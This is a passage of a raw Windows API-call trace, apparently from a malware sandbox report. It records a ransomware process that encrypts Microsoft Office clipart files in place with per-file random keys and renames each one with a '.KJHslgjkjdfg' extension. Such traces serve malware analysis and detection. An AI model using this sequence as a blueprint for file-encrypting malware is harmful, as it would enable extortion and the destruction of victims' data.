SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.584] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.587] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.587] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.587] GetProcessHeap () returned 0x2a0000 [0158.587] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0158.587] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0158.587] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.587] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0158.587] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.587] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0158.587] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0158.587] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0158.588] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.588] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.588] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.588] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.588] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xb88, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xb88, lpOverlapped=0x0) returned 1 [0158.588] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xb90, dwBufLen=0xb90 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xb90) returned 1 [0158.588] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.588] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xb90, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xb90, lpOverlapped=0x0) returned 1 [0158.588] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.588] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xc64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.588] SetEndOfFile (hFile=0x114) returned 1 [0158.591] GetProcessHeap () returned 0x2a0000 [0158.591] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0158.591] GetProcessHeap () returned 0x2a0000 [0158.591] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.591] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf.kjhslgjkjdfg")) returned 1 [0158.592] CloseHandle (hObject=0x114) returned 1 [0158.592] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2708, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD00449_.WMF", cAlternateFileName="")) returned 1 [0158.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.593] GetProcessHeap () returned 0x2a0000 [0158.593] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.593] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.593] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.593] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.598] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.598] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.598] GetProcessHeap () returned 0x2a0000 [0158.598] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0158.598] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0158.598] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.598] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0158.599] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.599] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0158.599] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0158.599] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0158.599] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.599] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.599] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.599] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.599] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2708, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2708, lpOverlapped=0x0) returned 1 [0158.600] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2710, dwBufLen=0x2710 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2710) returned 1 [0158.600] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.600] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2710, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2710, lpOverlapped=0x0) returned 1 [0158.600] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.600] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x27e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.600] SetEndOfFile (hFile=0x114) returned 1 [0158.603] GetProcessHeap () returned 0x2a0000 [0158.603] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0158.603] GetProcessHeap () returned 0x2a0000 [0158.603] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.603] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf.kjhslgjkjdfg")) returned 1 [0158.604] CloseHandle (hObject=0x114) returned 1 [0158.604] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac04fe00, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xac04fe00, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x5130, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD00687_.WMF", cAlternateFileName="")) returned 1 [0158.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.605] GetProcessHeap () returned 0x2a0000 [0158.605] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.605] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.605] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.605] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.605] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.605] GetProcessHeap () returned 0x2a0000 [0158.605] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0158.605] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0158.605] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.605] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0158.608] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.608] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0158.608] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0158.608] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0158.608] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.608] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.608] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.608] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.608] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x5130, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x5130, lpOverlapped=0x0) returned 1 [0158.610] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5130, dwBufLen=0x5130 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5130) returned 1 [0158.611] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.611] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5130, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x5130, lpOverlapped=0x0) returned 1 [0158.611] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.611] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x5204, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.611] SetEndOfFile (hFile=0x114) returned 1 [0158.613] GetProcessHeap () returned 0x2a0000 [0158.613] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0158.613] GetProcessHeap () returned 0x2a0000 [0158.613] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.613] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf.kjhslgjkjdfg")) returned 1 [0158.614] CloseHandle (hObject=0x114) returned 1 [0158.614] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bcb1e00, ftCreationTime.dwHighDateTime=0x1bd4b37, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6bcb1e00, ftLastWriteTime.dwHighDateTime=0x1bd4b37, nFileSizeHigh=0x0, nFileSizeLow=0x600c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD00705_.WMF", cAlternateFileName="")) returned 1 [0158.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.615] GetProcessHeap () returned 0x2a0000 [0158.615] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.615] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.615] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.615] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.617] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.617] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.617] GetProcessHeap () returned 0x2a0000 [0158.617] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0158.617] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0158.617] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.617] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0158.618] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.618] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0158.618] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0158.618] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0158.618] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.618] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.618] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.618] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.618] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x600c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x600c, lpOverlapped=0x0) returned 1 [0158.619] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6010, dwBufLen=0x6010 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6010) returned 1 [0158.619] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.619] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x6010, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x6010, lpOverlapped=0x0) returned 1 [0158.620] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.620] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x60e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.620] SetEndOfFile (hFile=0x114) returned 1 [0158.622] GetProcessHeap () returned 0x2a0000 [0158.622] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0158.622] GetProcessHeap () returned 0x2a0000 [0158.622] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.622] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf.kjhslgjkjdfg")) returned 1 [0158.623] CloseHandle (hObject=0x114) returned 1 [0158.623] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb92d600, ftCreationTime.dwHighDateTime=0x1bd4b42, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdb92d600, ftLastWriteTime.dwHighDateTime=0x1bd4b42, nFileSizeHigh=0x0, nFileSizeLow=0x8b2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01015_.WMF", cAlternateFileName="")) returned 1 [0158.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.624] GetProcessHeap () returned 0x2a0000 [0158.624] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.624] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.624] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.624] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0158.628] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.628] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.628] GetProcessHeap () returned 0x2a0000 [0158.628] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0158.628] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0158.628] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.628] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0158.628] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.628] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, 